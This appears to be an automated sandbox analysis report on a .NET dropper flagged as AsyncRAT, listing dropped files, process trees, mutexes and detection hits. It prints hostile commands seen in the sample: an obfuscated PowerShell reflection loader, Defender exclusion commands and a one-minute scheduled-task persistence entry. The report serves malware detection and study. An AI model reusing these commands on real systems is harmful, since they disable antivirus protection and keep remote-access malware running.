Source: C:\Users\Public\Deadsvchost.exe	Code function: 13_2_00007FFD9B800E79	13_2_00007FFD9B800E79
Source: C:\Users\Public\Deadsvchost.exe	Code function: 13_2_00007FFD9B801799	13_2_00007FFD9B801799
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_000002A6612DB35C	14_3_000002A6612DB35C
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_000002A6612E1778	14_3_000002A6612E1778
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_000002A6612DB150	14_3_000002A6612DB150
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_000002A6612DF418	14_3_000002A6612DF418
Source: C:\Windows\System32\svchost.exe	Code function: 14_2_000002A66130BF5C	14_2_000002A66130BF5C
Source: C:\Windows\System32\svchost.exe	Code function: 14_2_000002A661312378	14_2_000002A661312378
Source: C:\Windows\System32\svchost.exe	Code function: 14_2_000002A66130BD50	14_2_000002A66130BD50
Source: C:\Windows\System32\svchost.exe	Code function: 14_2_000002A661310018	14_2_000002A661310018
Source: C:\Windows\System32\dwm.exe	Code function: 16_3_000002BAAF1F1778	16_3_000002BAAF1F1778
Source: C:\Windows\System32\dwm.exe	Code function: 16_3_000002BAAF1EB35C	16_3_000002BAAF1EB35C
Source: C:\Windows\System32\dwm.exe	Code function: 16_3_000002BAAF1EB150	16_3_000002BAAF1EB150
Source: C:\Windows\System32\dwm.exe	Code function: 16_3_000002BAAF1EF418	16_3_000002BAAF1EF418
Source: C:\Windows\System32\dwm.exe	Code function: 16_2_000002BAAF21BF5C	16_2_000002BAAF21BF5C
Source: C:\Windows\System32\dwm.exe	Code function: 16_2_000002BAAF222378	16_2_000002BAAF222378
Source: C:\Windows\System32\dwm.exe	Code function: 16_2_000002BAAF21BD50	16_2_000002BAAF21BD50
Source: C:\Windows\System32\dwm.exe	Code function: 16_2_000002BAAF220018	16_2_000002BAAF220018
Source: C:\Windows\System32\svchost.exe	Code function: 17_3_0000026A8799F418	17_3_0000026A8799F418
Source: C:\Windows\System32\svchost.exe	Code function: 17_3_0000026A8799B35C	17_3_0000026A8799B35C
Source: C:\Windows\System32\svchost.exe	Code function: 17_3_0000026A879A1778	17_3_0000026A879A1778
Source: C:\Windows\System32\svchost.exe	Code function: 17_3_0000026A8799B150	17_3_0000026A8799B150
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_0000026A879D0018	17_2_0000026A879D0018
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_0000026A879CBF5C	17_2_0000026A879CBF5C
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_0000026A879D2378	17_2_0000026A879D2378
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_0000026A879CBD50	17_2_0000026A879CBD50
Source: C:\Windows\System32\svchost.exe	Code function: 19_3_000001795377B150	19_3_000001795377B150
Source: C:\Windows\System32\svchost.exe	Code function: 19_3_0000017953781778	19_3_0000017953781778
Source: C:\Windows\System32\svchost.exe	Code function: 19_3_000001795377B35C	19_3_000001795377B35C
Source: C:\Windows\System32\svchost.exe	Code function: 19_3_000001795377F418	19_3_000001795377F418
Source: C:\Windows\System32\svchost.exe	Code function: 19_2_00000179537ABD50	19_2_00000179537ABD50
Source: C:\Windows\System32\svchost.exe	Code function: 19_2_00000179537B2378	19_2_00000179537B2378
Source: C:\Windows\System32\svchost.exe	Code function: 19_2_00000179537ABF5C	19_2_00000179537ABF5C
Source: C:\Windows\System32\svchost.exe	Code function: 19_2_00000179537B0018	19_2_00000179537B0018
Source: C:\Windows\System32\svchost.exe	Code function: 20_3_000002295D53B150	20_3_000002295D53B150
Source: C:\Windows\System32\svchost.exe	Code function: 20_3_000002295D53F418	20_3_000002295D53F418
Source: C:\Windows\System32\svchost.exe	Code function: 20_3_000002295D53B35C	20_3_000002295D53B35C
Source: C:\Windows\System32\svchost.exe	Code function: 20_3_000002295D541778	20_3_000002295D541778
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_000002295D56BD50	20_2_000002295D56BD50
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_000002295D570018	20_2_000002295D570018
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_000002295D56BF5C	20_2_000002295D56BF5C
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_000002295D572378	20_2_000002295D572378

Source: C:\Windows\System32\svchost.exe	Code function: String function: 000002A6612E2770 appears 36 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 0000026A879A2770 appears 36 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 0000017953782770 appears 36 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 000002295D542770 appears 36 times
Source: C:\Windows\System32\winlogon.exe	Code function: String function: 00000225DC622770 appears 36 times
Source: C:\Windows\System32\lsass.exe	Code function: String function: 00000202C0AC2770 appears 36 times
Source: C:\Windows\System32\dllhost.exe	Code function: String function: 000002E86A072770 appears 36 times
Source: C:\Windows\System32\dwm.exe	Code function: String function: 000002BAAF1F2770 appears 36 times

Source: DeadCodeRootKit.exe.0.dr

Static PE information: Resource name: EXE type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Source: mIURiU8n2P.exe, 00000000.00000002.1704251593.000000001B256000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameDeadXClient.exe4 vs mIURiU8n2P.exe
Source: mIURiU8n2P.exe, 00000000.00000002.1703934967.0000000002781000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameDeadXClient.exe4 vs mIURiU8n2P.exe
Source: mIURiU8n2P.exe, 00000000.00000002.1703998113.0000000012788000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameDealarOrDeadCode.exe4 vs mIURiU8n2P.exe
Source: mIURiU8n2P.exe, 00000000.00000002.1703934967.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameDeadROOTkit.exe4 vs mIURiU8n2P.exe
Source: mIURiU8n2P.exe, 00000000.00000000.1663022110.00000000003F0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameM6JR1IT3F6.exe4 vs mIURiU8n2P.exe
Source: mIURiU8n2P.exe	Binary or memory string: OriginalFilenameM6JR1IT3F6.exe4 vs mIURiU8n2P.exe

Source: mIURiU8n2P.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

Process created: Commandline size = 5531

Source: 2.0.DeadROOTkit.exe.1a0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.mIURiU8n2P.exe.27c5330.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.mIURiU8n2P.exe.27c5330.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 1.0.DeadXClient.exe.680000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000001.00000000.1700076185.0000000000682000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000002.1703934967.0000000002781000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000002.1703934967.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000002.00000000.1701692705.00000000001A2000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\Public\DeadXClient.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\DeadROOTkit.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\Public\Deadsvchost.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\Public\DeadROOTkit.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: DeadXClient.exe.0.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: DeadXClient.exe.0.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: DeadXClient.exe.0.dr, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: DeadROOTkit.exe.0.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: DeadROOTkit.exe.0.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: DeadROOTkit.exe.0.dr, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.mIURiU8n2P.exe.27c5330.2.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.mIURiU8n2P.exe.27c5330.2.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.mIURiU8n2P.exe.27c5330.2.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: Deadsvchost.exe.1.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: Deadsvchost.exe.1.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.mIURiU8n2P.exe.27c5330.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.mIURiU8n2P.exe.27c5330.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: DeadROOTkit.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: DeadROOTkit.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: Deadsvchost.exe.1.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: Deadsvchost.exe.1.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: DeadXClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: DeadXClient.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: DeadROOTkit.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: DeadROOTkit.exe.2.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: Microsoft-Windows-SMBServer%4Operational.evtx.25.dr	Binary string: user-PC WORKGROUP:\Device\NetBT_Tcpip_{E3B92EAA-F5C7-47F8-A487-F466F42035A1}
Source: Security.evtx.25.dr	Binary string: \Device\HarddiskVolume3\Windows\System32\drivers\filetrace.sys\Ke
Source: Microsoft-Windows-CodeIntegrity%4Operational.evtx.25.dr	Binary string: >\Device\HarddiskVolume3\Windows\System32\drivers\filetrace.sys
Source: System.evtx.25.dr	Binary string: \Device\HarddiskVolume3\Windows\SysWOW64\tzutil.exe`
Source: Microsoft-Windows-SMBServer%4Operational.evtx.25.dr	Binary string: \Device\NetbiosSmb
Source: Microsoft-Windows-CodeIntegrity%4Operational.evtx.25.dr	Binary string: J\Device\HarddiskVolume3\Program Files (x86)\Joebox\driver\joeboxdriver.sys
Source: System.evtx.25.dr	Binary string: \\?\Volume{5d0fa9fb-e2e8-4263-a849-b22baad6d1d8}\Device\HarddiskVolume4
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.25.dr	Binary string: T\Device\HarddiskVolume3\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Source: System.evtx.25.dr	Binary string: C:\Device\HarddiskVolume3`
Source: Security.evtx.25.dr	Binary string: \Device\HarddiskVolume3\Program Files (x86)\Joebox\driver\joeboxdriver.sys
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.25.dr	Binary string: A\Device\HarddiskVolume3\Program Files\Mozilla Firefox\firefox.exe
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.25.dr	Binary string: 4\Device\HarddiskVolume3\Windows\System32\spoolsv.exe
Source: System.evtx.25.dr	Binary string: \Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exeX
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.25.dr	Binary string: 4\Device\HarddiskVolume3\Windows\System32\dllhost.exeQC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
Source: Microsoft-Windows-SMBServer%4Operational.evtx.25.dr	Binary string: WIN-77KHDDR6TT1 WORKGROUP:\Device\NetBT_Tcpip_{E3B92EAA-F5C7-47F8-A487-F466F42035A1}
Source: Microsoft-Windows-CodeIntegrity%4Operational.evtx.25.dr	Binary string: K\Device\HarddiskVolume3\Users\user\AppData\Local\Temp\JSAMSIProvider64.dll6\Device\HarddiskVolume3\Windows\System32\SIHClient.exe
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.25.dr	Binary string: 4\Device\HarddiskVolume3\Windows\System32\dllhost.exeQC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}l
Source: Microsoft-Windows-SMBServer%4Operational.evtx.25.dr	Binary string: DESKTOP-AGET0TR WORKGROUP:\Device\NetBT_Tcpip_{E3B92EAA-F5C7-47F8-A487-F466F42035A1}

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@27/83@5/4

Source: C:\Windows\System32\dllhost.exe

Code function: 6_2_0000000140002D54 GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,RegOpenKeyExW,RegQueryValueExW,RegQueryValueExW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,RegQueryValueExW,RegQueryValueExW,RegCloseKey,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,ShellExecuteW,GetProcessHeap,HeapFree,SleepEx,

6_2_0000000140002D54

Source: C:\Users\Public\DeadCodeRootKit.exe

Code function: 3_2_00B01672 SysAllocString,SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,CoUninitialize,SysFreeString,SysFreeString,SysFreeString,

3_2_00B01672

Source: C:\Users\Public\DeadCodeRootKit.exe

Code function: 3_2_00B017A6 FindResourceA,SizeofResource,LoadResource,LockResource,RegOpenKeyExW,RegSetValueExW,

3_2_00B017A6

Source: C:\Users\user\Desktop\mIURiU8n2P.exe

File created: C:\Users\Public\DeadXClient.exe

Jump to behavior

Source: C:\Users\Public\Deadsvchost.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7184:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7876:120:WilError_03
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Mutant created: \Sessions\1\BaseNamedObjects\wxpsOI0qOWugh4cNc
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7260:120:WilError_03
Source: C:\Users\Public\DeadROOTkit.exe	Mutant created: \Sessions\1\BaseNamedObjects\pPl3jDvgHvU1lllp
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3736:120:WilError_03
Source: C:\Users\Public\DeadXClient.exe	Mutant created: \Sessions\1\BaseNamedObjects\tnsxJywWJMkQgZ7E

Source: C:\Users\Public\DeadROOTkit.exe

File created: C:\Users\user\AppData\Local\Temp\Log.tmp

Jump to behavior

Source: mIURiU8n2P.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: mIURiU8n2P.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\mIURiU8n2P.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\mIURiU8n2P.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: mIURiU8n2P.exe	ReversingLabs: Detection: 73%
Source: mIURiU8n2P.exe	Virustotal: Detection: 67%

Source: unknown	Process created: C:\Users\user\Desktop\mIURiU8n2P.exe "C:\Users\user\Desktop\mIURiU8n2P.exe"
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process created: C:\Users\Public\DeadXClient.exe "C:\Users\Public\DeadXClient.exe"
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process created: C:\Users\Public\DeadROOTkit.exe "C:\Users\Public\DeadROOTkit.exe"
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process created: C:\Users\Public\DeadCodeRootKit.exe "C:\Users\Public\DeadCodeRootKit.exe"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:bubCglTffNzZ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$QBDRAqnALMmwja,[Parameter(Position=1)][Type]$duQqlSyxSK)$pNdjVVbnfJT=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+[Char](77)+''+'e'+''+[Char](109)+''+'o'+''+'r'+'y'+[Char](77)+'o'+[Char](100)+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+'De'+'l'+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+''+'T'+''+'y'+''+'p'+''+'e'+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+'u'+'b'+'l'+[Char](105)+''+[Char](99)+','+'S'+''+'e'+''+[Char](97)+''+[Char](108)+''+[Char](101)+'d,A'+[Char](110)+''+[Char](115)+'i'+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+'Au'+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$pNdjVVbnfJT.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+[Char](112)+''+'e'+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+'N'+''+[Char](97)+'m'+[Char](101)+''+','+''+'H'+''+[Char](105)+''+'d'+''+'e'+''+[Char](66)+'y'+[Char](83)+'i'+'g'+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$QBDRAqnALMmwja).SetImplementationFlags('R'+[Char](117)+''+'n'+'t'+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$pNdjVVbnfJT.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+'e'+'',''+'P'+''+[Char](117)+'bl'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+'e'+'B'+''+[Char](121)+''+'S'+''+'i'+''+'g'+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+'t'+','+[Char](86)+''+[Char](105)+'r'+[Char](116)+'u'+'a'+''+'l'+'',$duQqlSyxSK,$QBDRAqnALMmwja).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+'M'+'a'+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $pNdjVVbnfJT.CreateType();}$RJkdRlkUxkpOh=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+'r'+[Char](111)+''+'s'+''+[Char](111)+''+'f'+'t.W'+[Char](105)+'n'+[Char](51)+'2.'+[Char](85)+''+[Char](110)+'s'+[Char](97)+'f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{7d42e50e-8059-4906-9d19-fa399c842f66}
Source: C:\Users\Public\DeadROOTkit.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\DeadROOTkit.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\DeadXClient.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Deadsvchost" /tr "C:\Users\Public\Deadsvchost.exe"
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\Public\Deadsvchost.exe C:\Users\Public\Deadsvchost.exe
Source: unknown	Process created: C:\Users\Public\Deadsvchost.exe "C:\Users\Public\Deadsvchost.exe"
Source: C:\Users\Public\DeadROOTkit.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'DeadROOTkit.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\DeadROOTkit.exe	Process created: C:\Users\Public\Deadsvchost.exe "C:\Users\Public\Deadsvchost.exe"
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process created: C:\Users\Public\DeadXClient.exe "C:\Users\Public\DeadXClient.exe"	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process created: C:\Users\Public\DeadROOTkit.exe "C:\Users\Public\DeadROOTkit.exe"	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process created: C:\Users\Public\DeadCodeRootKit.exe "C:\Users\Public\DeadCodeRootKit.exe"	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Deadsvchost" /tr "C:\Users\Public\Deadsvchost.exe"	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\DeadROOTkit.exe'	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'DeadROOTkit.exe'	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Process created: C:\Users\Public\Deadsvchost.exe "C:\Users\Public\Deadsvchost.exe"	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{7d42e50e-8059-4906-9d19-fa399c842f66}	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: rsaenh.dll	Jump to behavior
